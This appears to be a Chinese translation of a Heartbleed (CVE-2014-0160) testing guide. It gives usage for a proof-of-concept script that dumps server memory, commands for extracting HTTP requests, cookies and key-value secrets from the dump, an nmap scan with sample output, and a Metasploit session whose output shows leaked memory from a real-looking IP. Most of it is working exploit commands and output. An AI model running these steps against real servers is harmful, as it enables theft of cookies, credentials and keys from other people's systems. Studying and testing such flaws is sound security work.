注意 目前几乎所有工具(nmap、metasploit、nessus,甚至burp)都已拥有最新版本的扫描器。这些工具是在早期工具仍在开发时发布的。现在请优先使用那些工具,而非这些。
用法: heartbleed-poc.py server [options]
测试SSL心跳漏洞 (CVE-2014-0160)
选项: -h, --help 显示此帮助信息并退出 -p PORT, --port=PORT 要测试的TCP端口 (默认: 443) -n NUM, --num=NUM 如果存在漏洞,发送的心跳包数量(定义你能取回多少内存)(默认: 1) -f FILE, --file=FILE 转储内存写入的文件名 (默认: dump.bin) -q, --quiet 不显示内存转储内容 -s, --starttls 检查STARTTLS(目前仅支持SMTP)
常规扫描,访问端口443,迭代1次: python heartbleed-poc.py example.com
内存转储扫描,发送100次请求并将输出保存到二进制文件dump.bin: python heartbleed-poc.py -n100 -f dump.bin example.com
为确保获取堆的不同部分,请确保服务器处于繁忙状态,否则可能会得到重复数据。
使用STARTTLS检查邮件服务器(例如端口25): python heartbleed-poc.py -s -p 25 example.com
以前存在 -v 开关用于显式指定TLS版本,现已自动检测并移除。
二进制文件中会包含有价值的信息,以下是查找这些信息的简单方法:
HTTP请求: awk '/[HPG][UEO][AST][DT ]/,/Connection/' dump.bin
Cookie: grep -a "^Cookie:" dump.bin
有趣的键值对: pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump.bin
用法: nmap --script=ssl-heartbleed -p 443
示例输出:
Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-04-09 17:27 SAST
Nmap scan report for <example.org> (1.2.3.4)
Host is up (0.0068s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| Description:
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed):
Name Current Setting Required Description
RHOSTS yes 目标地址范围或CIDR标识符 RPORT 443 yes 目标端口 STARTTLS None yes 与STARTTLS配合使用的协议,None为不使用STARTTLS(可用值: None, SMTP, IMAP, JABBER, POP3, FTP) THREADS 1 yes 并发线程数 TLSVERSION 1.0 yes 使用的TLS版本(可用值: 1.0, 1.1, 1.2)
msf auxiliary(openssl_heartbleed) > set rhosts example.org rhosts => example.org msf auxiliary(openssl_heartbleed) > set STARTTLS FTP STARTTLS => FTP msf auxiliary(openssl_heartbleed) > set PORT 21 PORT => 21 msf auxiliary(openssl_heartbleed) > exploit
[] 37.187.134.197:21 - 尝试通过FTP启动SSL [] 37.187.134.197:21 - 发送Client Hello... [] 37.187.134.197:21 - 发送Heartbeat... [] 37.187.134.197:21 - Heartbeat响应,检查是否有数据泄露... [+] 37.187.134.197:21 - Heartbeat响应存在泄露 [] 37.187.134.197:21 - 泄露的可打印信息: @SE F(CKMIWsf"!98532ED/A [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed